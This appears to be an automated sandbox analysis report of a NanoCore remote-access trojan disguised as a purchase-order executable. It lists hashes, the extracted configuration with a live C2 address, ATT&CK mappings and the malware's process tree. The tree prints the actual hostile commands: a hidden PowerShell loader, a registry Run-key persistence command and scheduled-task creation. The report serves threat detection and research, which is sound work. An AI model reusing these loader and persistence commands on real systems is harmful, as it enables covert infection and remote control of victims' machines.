nanocore | 5a7e0f864cf6079e91cc0912141c3e3ba2d170d441416ce183e6ab81f171ff2b

General

Target

Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe
Size

866KB
MD5

91c5e51029084bde9acd6bc9af5220f6
SHA1

f246106d1bfe604954dabd6cd9bd8760ea4c0f8a
SHA256

5a7e0f864cf6079e91cc0912141c3e3ba2d170d441416ce183e6ab81f171ff2b
SHA512

2f118794ba529e373d3080e379d2ed60cee9315bfc87f2e1a1c5320a1aa771f0f863c9df4a1610166171aa416c461cdad25a13166d1865a8cc47f68acf86ec60
SSDEEP

12288:xtFwdlpA6jiUmTt9CZxkbBOkVsIVVsl+YQOo5/3BXqSvB88U+jVxTRcRRLw:ifiJ4xkbBO9sslpQPR+9A1cHLw

Score

10^/10

nanocore discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

134.19.179.203:31279

Mutex

e3a8bae3-78c2-40a6-9bf2-4d7fbecfd001

Attributes

activate_away_mode
true
backup_connection_host
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2024-06-11T02:19:05.486470936Z
bypass_user_account_control
false
bypass_user_account_control_data
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
31279
default_group
Default
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
e3a8bae3-78c2-40a6-9bf2-4d7fbecfd001
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
134.19.179.203
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2428	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows\CurrentVersion\Run\Visionaries = "%Bombeterror% -windowstyle minimized $Trykkabinen=(Get-ItemProperty -Path 'HKCU:\\Skoleaars\\').Udmarvnings;%Bombeterror% ($Trykkabinen)"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\UDP Service = "C:\\Program Files (x86)\\UDP Service\\udpsv.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	drive.google.com
5	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1988	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2428	powershell.exe
1988	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2428 set thread context of 1988	2428	powershell.exe	33

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\delklasserne\perqueer.Und	Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe
File created	C:\Program Files (x86)\UDP Service\udpsv.exe	wab.exe
File opened for modification	C:\Program Files (x86)\UDP Service\udpsv.exe	wab.exe
File opened for modification	C:\Program Files (x86)\Common Files\rynketraadenes\thorborg.ini	Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\fljstrup\Fiftieths.Cze	Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2712	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2076	schtasks.exe
3016	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2428	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2428	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 808 wrote to memory of 2428	808	Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe	30
PID 808 wrote to memory of 2428	808	Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe	30
PID 808 wrote to memory of 2428	808	Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe	30
PID 808 wrote to memory of 2428	808	Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe	30
PID 2428 wrote to memory of 1988	2428	powershell.exe	33
PID 2428 wrote to memory of 1988	2428	powershell.exe	33
PID 2428 wrote to memory of 1988	2428	powershell.exe	33
PID 2428 wrote to memory of 1988	2428	powershell.exe	33
PID 2428 wrote to memory of 1988	2428	powershell.exe	33
PID 2428 wrote to memory of 1988	2428	powershell.exe	33
PID 1988 wrote to memory of 2884	1988	wab.exe	34
PID 1988 wrote to memory of 2884	1988	wab.exe	34
PID 1988 wrote to memory of 2884	1988	wab.exe	34
PID 1988 wrote to memory of 2884	1988	wab.exe	34
PID 2884 wrote to memory of 2712	2884	cmd.exe	36
PID 2884 wrote to memory of 2712	2884	cmd.exe	36
PID 2884 wrote to memory of 2712	2884	cmd.exe	36
PID 2884 wrote to memory of 2712	2884	cmd.exe	36
PID 1988 wrote to memory of 2076	1988	wab.exe	38
PID 1988 wrote to memory of 2076	1988	wab.exe	38
PID 1988 wrote to memory of 2076	1988	wab.exe	38
PID 1988 wrote to memory of 2076	1988	wab.exe	38
PID 1988 wrote to memory of 3016	1988	wab.exe	40
PID 1988 wrote to memory of 3016	1988	wab.exe	40
PID 1988 wrote to memory of 3016	1988	wab.exe	40
PID 1988 wrote to memory of 3016	1988	wab.exe	40

C:\Users\Admin\AppData\Local\Temp\Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe
"C:\Users\Admin\AppData\Local\Temp\Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$ganglie=Get-Content 'C:\Users\Admin\AppData\Local\Whirries\Mathematik.Dek';$Hardhewer=$ganglie.SubString(55412,3);.$Hardhewer($ganglie)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Visionaries" /t REG_EXPAND_SZ /d "%Bombeterror% -windowstyle minimized $Trykkabinen=(Get-ItemProperty -Path 'HKCU:\Skoleaars\').Udmarvnings;%Bombeterror% ($Trykkabinen)"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2884
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Visionaries" /t REG_EXPAND_SZ /d "%Bombeterror% -windowstyle minimized $Trykkabinen=(Get-ItemProperty -Path 'HKCU:\Skoleaars\').Udmarvnings;%Bombeterror% ($Trykkabinen)"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2712
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "UDP Service" /xml "C:\Users\Admin\AppData\Local\Temp\tmp89A.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2076
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "UDP Service Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp918.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\tmp89A.tmp

Filesize
1KB

MD5
5ccc18c3f1852b87de26278cba055c13

SHA1
9233db8c004ac3e1b34c0782bac706a17bdc43ae

SHA256
7d588a9e361cccb0a3c97ec7ac99efe60e82932c64ab6efbfc929f51acb38432

SHA512
1ad0e9d090e93bdfa76c7ff60c5492c43265f53adf0ac23a7c831231e12822b11bae6d0840f92c8deddc9e08dbb383d24073ece791feaf36687692a437294ed7

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp918.tmp

Filesize
1KB

MD5
0a24db62cb5b84309c4803346caaa25d

SHA1
67660778f61bb44168c33ed3fe56ed86cf9583e8

SHA256
38d38647af394a04ee6add9f05c43244f04e64a6b96257f4b241a5038efa82df

SHA512
d25d9df063f44595d5e0bf890755bd387655131ff369eeedf3d11ffcc6202ca4455bbb33a8a926dd06839cbd1ddec3d06809b3c66a82c6518aa14beaa469a548

Download Submit
C:\Users\Admin\AppData\Local\Whirries\Mathematik.Dek

Filesize
54KB

MD5
e9f8477b531c7d51f6e43bffeacbd677

SHA1
bf13eaca6abe75ac5a187565c15533be84244037

SHA256
ad5a0e4489eb10087702ada6570dc41c4346cb140613dfb6e96043c6b27d7446

SHA512
479bea30296ef8c7d3af946630e5fc8cc55d8a5323b6f43b87df8fff2cbb7ab1a97412b76652f09e7483fe482a2ecc2360603cb88f677d537770c14841ffa9c5

Download Submit
C:\Users\Admin\AppData\Local\Whirries\Ssuling.Unp86

Filesize
431KB

MD5
6c2a5abf89b0cee6c2b92301ed4ca0c8

SHA1
45ea76abf7a140408e52461a72c1127863d5e37f

SHA256
3d5223f07095722386f65bb1c6d777536ab4c15a76c029a89eb69a4afc1a9b06

SHA512
5678f11309de52861c94567e46dea6035c4f97b8aa0d1b951ec2047e564a4e93431cc524d07b57650682cb76009595ce335cb77fdc475670f68a484cb22a9c10

Download Submit
memory/1988-40-0x0000000000A30000-0x0000000001A92000-memory.dmp

Filesize
16.4MB

Download
memory/1988-43-0x0000000000A30000-0x0000000000A6A000-memory.dmp

Filesize
232KB

Download
memory/1988-51-0x000000001E040000-0x000000001E04A000-memory.dmp

Filesize
40KB

Download
memory/2428-11-0x0000000073FC0000-0x000000007456B000-memory.dmp

Filesize
5.7MB

Download
memory/2428-12-0x0000000073FC0000-0x000000007456B000-memory.dmp

Filesize
5.7MB

Download
memory/2428-17-0x00000000065D0000-0x0000000007433000-memory.dmp

Filesize
14.4MB

Download
memory/2428-18-0x0000000073FC0000-0x000000007456B000-memory.dmp

Filesize
5.7MB

Download
memory/2428-10-0x0000000073FC1000-0x0000000073FC2000-memory.dmp

Filesize
4KB

Download
memory/2428-13-0x0000000073FC0000-0x000000007456B000-memory.dmp

Filesize
5.7MB

Download
memory/2428-14-0x0000000073FC0000-0x000000007456B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads